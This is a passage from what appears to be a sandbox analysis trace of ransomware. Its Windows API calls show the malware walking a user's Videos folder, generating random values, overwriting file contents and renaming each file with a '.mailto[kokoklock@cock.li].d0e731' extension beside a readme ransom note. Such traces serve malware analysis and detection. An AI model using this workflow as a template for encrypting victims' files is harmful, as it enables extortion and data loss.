_Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\D0E731-Readme.txt" [0073.274] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\nhatpibp\\d0e731-readme.txt")) returned 0x20 [0073.274] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34294a0) returned 1 [0073.274] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33eb450) returned 1 [0073.274] RtlExitUserThread (Status=0x1) Thread: id = 583 os_tid = 0x13fc [0073.277] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x98) returned 0x33eaa50 [0073.277] wcscpy (in: _Dest=0x33eaa50, _Source="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\MZrE2f" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\MZrE2f") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\MZrE2f" [0073.277] wcscat (in: _Dest=0x33eaa50, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\MZrE2f\\") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\MZrE2f\\" [0073.277] wcscat (in: _Dest=0x33eaa50, _Source="*" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\MZrE2f\\*") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\MZrE2f\\*" [0073.277] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x342dd98 [0073.277] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\MZrE2f\\*", lpFindFileData=0x342dd98 | out: lpFindFileData=0x342dd98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58b96de0, ftCreationTime.dwHighDateTime=0x1d4c752, ftLastAccessTime.dwLowDateTime=0x31569950, ftLastAccessTime.dwHighDateTime=0x1d4d38f, ftLastWriteTime.dwLowDateTime=0x31569950, ftLastWriteTime.dwHighDateTime=0x1d4d38f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3433d68 [0073.277] wcscmp (_String1=".", _String2=".") returned 0 [0073.277] FindNextFileW (in: hFindFile=0x3433d68, lpFindFileData=0x342dd98 | out: lpFindFileData=0x342dd98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58b96de0, ftCreationTime.dwHighDateTime=0x1d4c752, ftLastAccessTime.dwLowDateTime=0x31569950, ftLastAccessTime.dwHighDateTime=0x1d4d38f, ftLastWriteTime.dwLowDateTime=0x31569950, ftLastWriteTime.dwHighDateTime=0x1d4d38f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0073.277] wcscmp (_String1="..", _String2=".") returned 1 [0073.277] wcscmp (_String1="..", _String2="..") returned 0 [0073.277] FindNextFileW (in: hFindFile=0x3433d68, lpFindFileData=0x342dd98 | out: lpFindFileData=0x342dd98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e1c4cc0, ftCreationTime.dwHighDateTime=0x1d4d182, ftLastAccessTime.dwLowDateTime=0x105ab390, ftLastAccessTime.dwHighDateTime=0x1d4c8c1, ftLastWriteTime.dwLowDateTime=0x105ab390, ftLastWriteTime.dwHighDateTime=0x1d4c8c1, nFileSizeHigh=0x0, nFileSizeLow=0x134c9, dwReserved0=0x0, dwReserved1=0x0, cFileName="08ywSvj7A5M.flv", cAlternateFileName="08YWSV~1.FLV")) returned 1 [0073.277] wcscmp (_String1="08ywSvj7A5M.flv", _String2=".") returned 1 [0073.277] wcscmp (_String1="08ywSvj7A5M.flv", _String2="..") returned 1 [0073.277] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xb4) returned 0x3430ec0 [0073.277] wcscpy (in: _Dest=0x3430ec0, _Source="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\MZrE2f" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\MZrE2f") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\MZrE2f" [0073.277] wcscat (in: _Dest=0x3430ec0, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\MZrE2f\\") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\MZrE2f\\" [0073.277] wcscat (in: _Dest=0x3430ec0, _Source="08ywSvj7A5M.flv" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\MZrE2f\\08ywSvj7A5M.flv") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\MZrE2f\\08ywSvj7A5M.flv" [0076.628] Sleep (dwMilliseconds=0x1) [0077.868] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3430ec0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x91c [0077.868] FindNextFileW (in: hFindFile=0x3433d68, lpFindFileData=0x342dd98 | out: lpFindFileData=0x342dd98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d41ca20, ftCreationTime.dwHighDateTime=0x1d4c903, ftLastAccessTime.dwLowDateTime=0x57144840, ftLastAccessTime.dwHighDateTime=0x1d4d2a9, ftLastWriteTime.dwLowDateTime=0x57144840, ftLastWriteTime.dwHighDateTime=0x1d4d2a9, nFileSizeHigh=0x0, nFileSizeLow=0x16961, dwReserved0=0x0, dwReserved1=0x0, cFileName="u6ZuemDgtuT4vcMKt_WX.avi", cAlternateFileName="U6ZUEM~1.AVI")) returned 1 [0077.868] wcscmp (_String1="u6ZuemDgtuT4vcMKt_WX.avi", _String2=".") returned 1 [0077.869] wcscmp (_String1="u6ZuemDgtuT4vcMKt_WX.avi", _String2="..") returned 1 [0077.869] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc6) returned 0x33f8178 [0077.869] wcscpy (in: _Dest=0x33f8178, _Source="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\MZrE2f" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\MZrE2f") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\MZrE2f" [0077.869] wcscat (in: _Dest=0x33f8178, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\MZrE2f\\") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\MZrE2f\\" [0077.869] wcscat (in: _Dest=0x33f8178, _Source="u6ZuemDgtuT4vcMKt_WX.avi" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\MZrE2f\\u6ZuemDgtuT4vcMKt_WX.avi") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\MZrE2f\\u6ZuemDgtuT4vcMKt_WX.avi" [0077.869] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33f8178, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4a0 [0077.870] FindNextFileW (in: hFindFile=0x3433d68, lpFindFileData=0x342dd98 | out: lpFindFileData=0x342dd98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x770f1ee0, ftCreationTime.dwHighDateTime=0x1d4c985, ftLastAccessTime.dwLowDateTime=0xd8590160, ftLastAccessTime.dwHighDateTime=0x1d4d22d, ftLastWriteTime.dwLowDateTime=0xd8590160, ftLastWriteTime.dwHighDateTime=0x1d4d22d, nFileSizeHigh=0x0, nFileSizeLow=0x12507, dwReserved0=0x0, dwReserved1=0x0, cFileName="VjwkAVYr Trz.swf", cAlternateFileName="VJWKAV~1.SWF")) returned 1 [0077.870] wcscmp (_String1="VjwkAVYr Trz.swf", _String2=".") returned 1 [0077.870] wcscmp (_String1="VjwkAVYr Trz.swf", _String2="..") returned 1 [0077.870] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xb6) returned 0x3431640 [0077.870] wcscpy (in: _Dest=0x3431640, _Source="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\MZrE2f" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\MZrE2f") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\MZrE2f" [0077.870] wcscat (in: _Dest=0x3431640, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\MZrE2f\\") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\MZrE2f\\" [0077.870] wcscat (in: _Dest=0x3431640, _Source="VjwkAVYr Trz.swf" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\MZrE2f\\VjwkAVYr Trz.swf") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\MZrE2f\\VjwkAVYr Trz.swf" [0077.870] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3431640, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x49c [0077.871] FindNextFileW (in: hFindFile=0x3433d68, lpFindFileData=0x342dd98 | out: lpFindFileData=0x342dd98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x770f1ee0, ftCreationTime.dwHighDateTime=0x1d4c985, ftLastAccessTime.dwLowDateTime=0xd8590160, ftLastAccessTime.dwHighDateTime=0x1d4d22d, ftLastWriteTime.dwLowDateTime=0xd8590160, ftLastWriteTime.dwHighDateTime=0x1d4d22d, nFileSizeHigh=0x0, nFileSizeLow=0x12507, dwReserved0=0x0, dwReserved1=0x0, cFileName="VjwkAVYr Trz.swf", cAlternateFileName="VJWKAV~1.SWF")) returned 0 [0077.871] FindClose (in: hFindFile=0x3433d68 | out: hFindFile=0x3433d68) returned 1 [0077.871] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342dd98) returned 1 [0077.871] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33eaa50) returned 1 [0077.871] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33eb8b0) returned 1 [0077.871] RtlExitUserThread (Status=0x0) Thread: id = 584 os_tid = 0x1280 [0073.278] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\PV0D5fF9zicdSyfj8Wn9.flv" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\nhatpibp\\pv0d5ff9zicdsyfj8wn9.flv")) returned 0x20 [0073.278] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\PV0D5fF9zicdSyfj8Wn9.flv", dwFileAttributes=0x20) returned 1 [0073.278] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\PV0D5fF9zicdSyfj8Wn9.flv" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\nhatpibp\\pv0d5ff9zicdsyfj8wn9.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x91c [0073.278] GetFileSizeEx (in: hFile=0x91c, lpFileSize=0x171bfc24 | out: lpFileSize=0x171bfc24*=13082) returned 1 [0073.278] SetFilePointerEx (in: hFile=0x91c, liDistanceToMove=0x3316, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.279] ReadFile (in: hFile=0x91c, lpBuffer=0x171bfbf8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x171bfbf4, lpOverlapped=0x0 | out: lpBuffer=0x171bfbf8*, lpNumberOfBytesRead=0x171bfbf4*=0x4, lpOverlapped=0x0) returned 1 [0073.279] SetFilePointerEx (in: hFile=0x91c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.279] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341ea28 [0073.279] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341ea78 [0073.279] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e668 [0073.279] NtQuerySystemTime (in: CurrentTime=0x171bfbd0 | out: CurrentTime=0x171bfbd0*=132121176311754695) returned 0x0 [0073.279] RtlRandom (in: Seed=0x171bfbdc | out: Seed=0x171bfbdc) returned 0xabad0ccc [0073.279] RtlRandom (in: Seed=0x171bfbdc | out: Seed=0x171bfbdc) returned 0x40de6416 [0073.279] RtlRandom (in: Seed=0x171bfbdc | out: Seed=0x171bfbdc) returned 0x5f8e6af5 [0073.279] RtlRandom (in: Seed=0x171bfbdc | out: Seed=0x171bfbdc) returned 0x184cab73 [0073.279] RtlRandom (in: Seed=0x171bfbdc | out: Seed=0x171bfbdc) returned 0xedb1bfca [0073.279] RtlRandom (in: Seed=0x171bfbdc | out: Seed=0x171bfbdc) returned 0x307a4411 [0073.279] RtlRandom (in: Seed=0x171bfbdc | out: Seed=0x171bfbdc) returned 0xe808a163 [0073.279] RtlRandom (in: Seed=0x171bfbdc | out: Seed=0x171bfbdc) returned 0x3a29772e [0073.279] RtlRandom (in: Seed=0x171bfbdc | out: Seed=0x171bfbdc) returned 0x65181edf [0073.279] RtlRandom (in: Seed=0x171bfbdc | out: Seed=0x171bfbdc) returned 0xad932338 [0073.279] RtlRandom (in: Seed=0x171bfbdc | out: Seed=0x171bfbdc) returned 0xf011b275 [0073.279] RtlRandom (in: Seed=0x171bfbdc | out: Seed=0x171bfbdc) returned 0xabd48a03 [0073.279] RtlRandom (in: Seed=0x171bfbdc | out: Seed=0x171bfbdc) returned 0xd068a879 [0073.279] RtlRandom (in: Seed=0x171bfbdc | out: Seed=0x171bfbdc) returned 0x725101b6 [0073.279] RtlRandom (in: Seed=0x171bfbdc | out: Seed=0x171bfbdc) returned 0x7679060f [0073.279] RtlRandom (in: Seed=0x171bfbdc | out: Seed=0x171bfbdc) returned 0xfee7e4b [0073.279] RtlRandom (in: Seed=0x171bfbdc | out: Seed=0x171bfbdc) returned 0x2c1c3b9b [0073.279] RtlRandom (in: Seed=0x171bfbdc | out: Seed=0x171bfbdc) returned 0xb18f581f [0073.279] RtlRandom (in: Seed=0x171bfbdc | out: Seed=0x171bfbdc) returned 0x28d2f0a8 [0073.279] RtlRandom (in: Seed=0x171bfbdc | out: Seed=0x171bfbdc) returned 0xe83aa890 [0073.279] RtlRandom (in: Seed=0x171bfbdc | out: Seed=0x171bfbdc) returned 0xfa3464a6 [0073.280] RtlRandom (in: Seed=0x171bfbdc | out: Seed=0x171bfbdc) returned 0x3a2809f0 [0073.280] RtlRandom (in: Seed=0x171bfbdc | out: Seed=0x171bfbdc) returned 0xdd59cbb5 [0073.280] RtlRandom (in: Seed=0x171bfbdc | out: Seed=0x171bfbdc) returned 0xb4a692f1 [0073.280] RtlRandom (in: Seed=0x171bfbdc | out: Seed=0x171bfbdc) returned 0xba9e5ee4 [0073.280] RtlRandom (in: Seed=0x171bfbdc | out: Seed=0x171bfbdc) returned 0xf1e10915 [0073.280] RtlRandom (in: Seed=0x171bfbdc | out: Seed=0x171bfbdc) returned 0xcb93c2f0 [0073.280] RtlRandom (in: Seed=0x171bfbdc | out: Seed=0x171bfbdc) returned 0xe598c367 [0073.280] RtlRandom (in: Seed=0x171bfbdc | out: Seed=0x171bfbdc) returned 0x189dd2dd [0073.280] RtlRandom (in: Seed=0x171bfbdc | out: Seed=0x171bfbdc) returned 0xe31c5144 [0073.280] RtlRandom (in: Seed=0x171bfbdc | out: Seed=0x171bfbdc) returned 0x8a85c154 [0073.280] RtlRandom (in: Seed=0x171bfbdc | out: Seed=0x171bfbdc) returned 0x4ceea0ef [0073.300] ReadFile (in: hFile=0x91c, lpBuffer=0x33f28e0, nNumberOfBytesToRead=0x331a, lpNumberOfBytesRead=0x171bfbd0, lpOverlapped=0x0 | out: lpBuffer=0x33f28e0*, lpNumberOfBytesRead=0x171bfbd0*=0x331a, lpOverlapped=0x0) returned 1 [0073.301] SetFilePointerEx (in: hFile=0x91c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x171bfb98 | out: lpNewFilePointer=0x0) returned 1 [0073.301] WriteFile (in: hFile=0x91c, lpBuffer=0x3482218*, nNumberOfBytesToWrite=0x331a, lpNumberOfBytesWritten=0x171bfbcc, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesWritten=0x171bfbcc*=0x331a, lpOverlapped=0x0) returned 1 [0073.301] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341ea28 [0073.301] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341ede8 [0073.301] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341ede8) returned 1 [0073.302] WriteFile (in: hFile=0x91c, lpBuffer=0x341ea28*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x171bfbc8, lpOverlapped=0x0 | out: lpBuffer=0x341ea28*, lpNumberOfBytesWritten=0x171bfbc8*=0x20, lpOverlapped=0x0) returned 1 [0073.302] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341ea28) returned 1 [0073.302] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0073.302] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f28e0) returned 1 [0073.302] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479cb8) returned 1 [0073.302] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd550) returned 1 [0073.302] WriteFile (in: hFile=0x91c, lpBuffer=0x341eb68*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x171bfbf4, lpOverlapped=0x0 | out: lpBuffer=0x341eb68*, lpNumberOfBytesWritten=0x171bfbf4*=0x8, lpOverlapped=0x0) returned 1 [0073.302] WriteFile (in: hFile=0x91c, lpBuffer=0x171bfc0c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x171bfbf4, lpOverlapped=0x0 | out: lpBuffer=0x171bfc0c*, lpNumberOfBytesWritten=0x171bfbf4*=0x4, lpOverlapped=0x0) returned 1 [0073.302] WriteFile (in: hFile=0x91c, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x171bfbf4, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x171bfbf4*=0x4, lpOverlapped=0x0) returned 1 [0073.302] WriteFile (in: hFile=0x91c, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x171bfbf4, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x171bfbf4*=0x6c, lpOverlapped=0x0) returned 1 [0073.302] WriteFile (in: hFile=0x91c, lpBuffer=0x341ea78*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x171bfbf4, lpOverlapped=0x0 | out: lpBuffer=0x341ea78*, lpNumberOfBytesWritten=0x171bfbf4*=0x20, lpOverlapped=0x0) returned 1 [0073.302] WriteFile (in: hFile=0x91c, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x171bfbf4, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x171bfbf4*=0x4, lpOverlapped=0x0) returned 1 [0073.302] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341ea78) returned 1 [0073.302] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e6b8) returned 1 [0073.302] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341eb68) returned 1 [0073.302] CloseHandle (hObject=0x91c) returned 1 [0073.303] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xfa) returned 0x347d7e0 [0073.303] wcscpy (in: _Dest=0x347d7e0, _Source="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\PV0D5fF9zicdSyfj8Wn9.flv" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\PV0D5fF9zicdSyfj8Wn9.flv") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\PV0D5fF9zicdSyfj8Wn9.flv" [0073.303] wcscat (in: _Dest=0x347d7e0, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\PV0D5fF9zicdSyfj8Wn9.flv.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\PV0D5fF9zicdSyfj8Wn9.flv.mailto[kokoklock@cock.li].d0e731" [0073.303] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\PV0D5fF9zicdSyfj8Wn9.flv" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\nhatpibp\\pv0d5ff9zicdsyfj8wn9.flv"), lpNewFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\PV0D5fF9zicdSyfj8Wn9.flv.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\nhatpibp\\pv0d5ff9zicdsyfj8wn9.flv.mailto[kokoklock@cock.li].d0e731")) returned 1 [0073.303] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\PV0D5fF9zicdSyfj8Wn9.flv.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0073.304] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347d7e0) returned 1 [0073.304] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\PV0D5fF9zicdSyfj8Wn9.flv", dwFileAttributes=0x20) returned 0 [0073.304] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xac) returned 0x3429330 [0073.304] wcscpy (in: _Dest=0x3429330, _Source="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\" [0073.304] wcscat (in: _Dest=0x3429330, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\D0E731-Readme.txt" [0073.304] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\nhatpibp\\d0e731-readme.txt")) returned 0x20 [0073.304] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3429330) returned 1 [0073.304] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fb1b0) returned 1 [0073.304] RtlExitUserThread (Status=0x1) Thread: id = 585 os_tid = 0x1284 [0073.305] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\SjKws_-fQth hUHczK.avi" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\nhatpibp\\sjkws_-fqth huhczk.avi")) returned 0x20 [0073.305] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\SjKws_-fQth hUHczK.avi", dwFileAttributes=0x20) returned 1 [0073.306] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\SjKws_-fQth hUHczK.avi" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\nhatpibp\\sjkws_-fqth huhczk.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x91c [0073.306] GetFileSizeEx (in: hFile=0x91c, lpFileSize=0x1723fc08 | out: lpFileSize=0x1723fc08*=90222) returned 1 [0073.306] SetFilePointerEx (in: hFile=0x91c, liDistanceToMove=0x1606a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.306] ReadFile (in: hFile=0x91c, lpBuffer=0x1723fbdc, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1723fbd8, lpOverlapped=0x0 | out: lpBuffer=0x1723fbdc*, lpNumberOfBytesRead=0x1723fbd8*=0x4, lpOverlapped=0x0) returned 1 [0073.306] SetFilePointerEx (in: hFile=0x91c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.306] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341ee10 [0073.306] 